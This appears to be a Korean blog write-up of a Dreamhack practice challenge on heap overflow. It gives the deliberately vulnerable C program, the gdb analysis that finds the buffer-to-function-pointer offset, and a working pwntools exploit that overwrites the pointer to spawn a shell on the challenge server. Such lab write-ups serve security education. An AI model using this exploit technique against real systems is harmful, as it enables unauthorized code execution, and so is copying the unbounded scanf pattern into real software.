본문 바로가기
시스템 해킹/드림핵

[Dreamhack] basic_heap_overflow

by L3m0n S0ju 2021. 7. 20.


#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <string.h>

struct over {
    void (*table)();
};

void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(30);
}

void get_shell() {
    system("/bin/sh");
}

void table_func() {
    printf("overwrite_me!");
}

int main() {
    char *ptr = malloc(0x20);
    struct over *over = malloc(0x20);
    initialize();
    over->table = table_func;
    scanf("%s", ptr);
    if( !over->table ){
        return 0;
    }
    over->table();
    return 0;
}

 


이번 문제는 heap overflow를 이용하여 문제를 해결해야합니다. 입력할 수 있는 공간은 ptr 밖에 없습니다. scanf 함수는 그 자체로 취약하기 때문에 원하는 바이트 만큼 데이터를 입력할 수 있습니다. 실행파일을 gdb로 분석하겠습니다.

 

 

gdb-peda$ disas main
Dump of assembler code for function main:
   0x080486ad <+0>:     lea    ecx,[esp+0x4]
   0x080486b1 <+4>:     and    esp,0xfffffff0
   0x080486b4 <+7>:     push   DWORD PTR [ecx-0x4]
   0x080486b7 <+10>:    push   ebp
   0x080486b8 <+11>:    mov    ebp,esp
   0x080486ba <+13>:    push   ecx
   0x080486bb <+14>:    sub    esp,0x14
   0x080486be <+17>:    sub    esp,0xc
   0x080486c1 <+20>:    push   0x20
   0x080486c3 <+22>:    call   0x8048490 <malloc@plt>
   0x080486c8 <+27>:    add    esp,0x10
   0x080486cb <+30>:    mov    DWORD PTR [ebp-0x10],eax
   0x080486ce <+33>:    sub    esp,0xc
   0x080486d1 <+36>:    push   0x20
   0x080486d3 <+38>:    call   0x8048490 <malloc@plt>
   0x080486d8 <+43>:    add    esp,0x10
   0x080486db <+46>:    mov    DWORD PTR [ebp-0xc],eax
   0x080486de <+49>:    call   0x804862b <initialize>
   0x080486e3 <+54>:    mov    eax,DWORD PTR [ebp-0xc]
   0x080486e6 <+57>:    mov    DWORD PTR [eax],0x8048694
   0x080486ec <+63>:    sub    esp,0x8
   0x080486ef <+66>:    push   DWORD PTR [ebp-0x10]
   0x080486f2 <+69>:    push   0x80487cf
   0x080486f7 <+74>:    call   0x80484f0 <__isoc99_scanf@plt>
   0x080486fc <+79>:    add    esp,0x10
   0x080486ff <+82>:    mov    eax,DWORD PTR [ebp-0xc]
   0x08048702 <+85>:    mov    eax,DWORD PTR [eax]
   0x08048704 <+87>:    test   eax,eax
   0x08048706 <+89>:    jne    0x804870f <main+98>
   0x08048708 <+91>:    mov    eax,0x0
   0x0804870d <+96>:    jmp    0x804871b <main+110>
   0x0804870f <+98>:    mov    eax,DWORD PTR [ebp-0xc]
   0x08048712 <+101>:   mov    eax,DWORD PTR [eax]
   0x08048714 <+103>:   call   eax
   0x08048716 <+105>:   mov    eax,0x0
   0x0804871b <+110>:   mov    ecx,DWORD PTR [ebp-0x4]
   0x0804871e <+113>:   leave  
   0x0804871f <+114>:   lea    esp,[ecx-0x4]
   0x08048722 <+117>:   ret    

 


  문제의 핵심은 scanf 함수와 table_func 함수의 관계입니다. 아래는 위 어셈블리 코드에서 핵심부분만 가져왔습니다.

 

   0x080486de <+49>:    call   0x804862b  
   0x080486e3 <+54>:    mov    eax,DWORD PTR [ebp-0xc] 
   0x080486e6 <+57>:    mov    DWORD PTR [eax],0x8048694 
   0x080486ec <+63>:    sub    esp,0x8 
   0x080486ef <+66>:    push   DWORD PTR [ebp-0x10] 
   0x080486f2 <+69>:    push   0x80487cf 
   0x080486f7 <+74>:    call   0x80484f0 <__isoc99_scanf@plt>

 

scanf 함수 이전에 over->table = table_func;와 같이 over->table이라는 함수 포인터에 table_func 함수 주소값을 저장하는데 이곳에 대신 get_shell 함수 주소값을 주입할 수 있다면 쉘을 획득할 수 있습니다.

 

   0x080486e6 <+57>:    mov    DWORD PTR [eax],0x8048694 에서 0x8048694는 table_func을 나타내는데 [eax]에 해당 주소를 저장하므로 0x080486e6에 브레이크 포인터를 걸고 [eax] 값을 찾아줍니다.

 

table_func 함수 주소값이 저장되는 곳은 0x804b1d0입니다.

 


   0x080486de <+49>:    call   0x804862b  
   0x080486e3 <+54>:    mov    eax,DWORD PTR [ebp-0xc] 
   0x080486e6 <+57>:    mov    DWORD PTR [eax],0x8048694 
   0x080486ec <+63>:    sub    esp,0x8 
   0x080486ef <+66>:    push   DWORD PTR [ebp-0x10] 
   0x080486f2 <+69>:    push   0x80487cf 
   0x080486f7 <+74>:    call   0x80484f0 <__isoc99_scanf@plt>

 

다음으로 scanf에서 입력값이 어디에 저장되는지 알아보겠습니다. scanf 함수에서 두번째 인자 ptr의 위치는 ebp-0x10 으로  0x080486f2에 브레이크 포인트를 걸고 스택을 살펴보면 0x804b1a0 주소가 ptr의 위치임을 알 수 있습니다.

 

 


ptr = 0x804b1a0

table_func = 0x804b1d0

get_shell = 0x0804867b

 

ptr과 table_func의 주소값 차이는 48입니다. 하지만 실제 문제 서버와 로컬 환경이 달라서 그런지 문제 서버에서의 ptr과 table_func의 주소값 차이는 40입니다. 가장 유력한 원인은 운영체제의 비트 수 차이인데 제 PC는 64bit, 문제 서버는 32bit로 추정됩니다.

 

제 PC는 64bit이므로 힙 메모리를 할당할 때 처음 여유 비트로 8바이트를 더 부여하고 0x10단위로 힙 메모리를 부여하기 때문에 처음 32바이트에서 여유메모리를 합하면 40바이트 16바이트가 단위이므로 48바이트를 부여하기 때문에 지금까지의 결과가 나왔습니다. 하지만 문제 서버가 32bit 운영체제라면 처음 32바이트에서 여유 메모리는 정확히 모르지만 최대 8바이트이므로 8바이트를 더해 40바이트, 단위는 8바이트 이므로 40바이트의 힙 메모리를 할당합니다. 따라서 아래 익스플로잇 코드를 작성할 때는 주소값 차이를 40으로 계산해야합니다. 


 

from pwn import*
 
p = remote("host1.dreamhack.games", 12489)
context.log_level='debug'
payload=b'a'*40+p32(0x0804867b) 
p.send(payload)
p.interactive()


 

플래그

'시스템 해킹 > 드림핵' 카테고리의 다른 글

[Dreamhack] memory_leakage  (0) 2021.07.19
[Dreamhack] out_of_bound  (0) 2021.07.18
[Dreamhack] basic_exploitation_002  (0) 2021.07.17
[Dreamhack] sint  (0) 2021.07.15
[Dreamhack] basic_exploitation_003  (0) 2021.05.22

댓글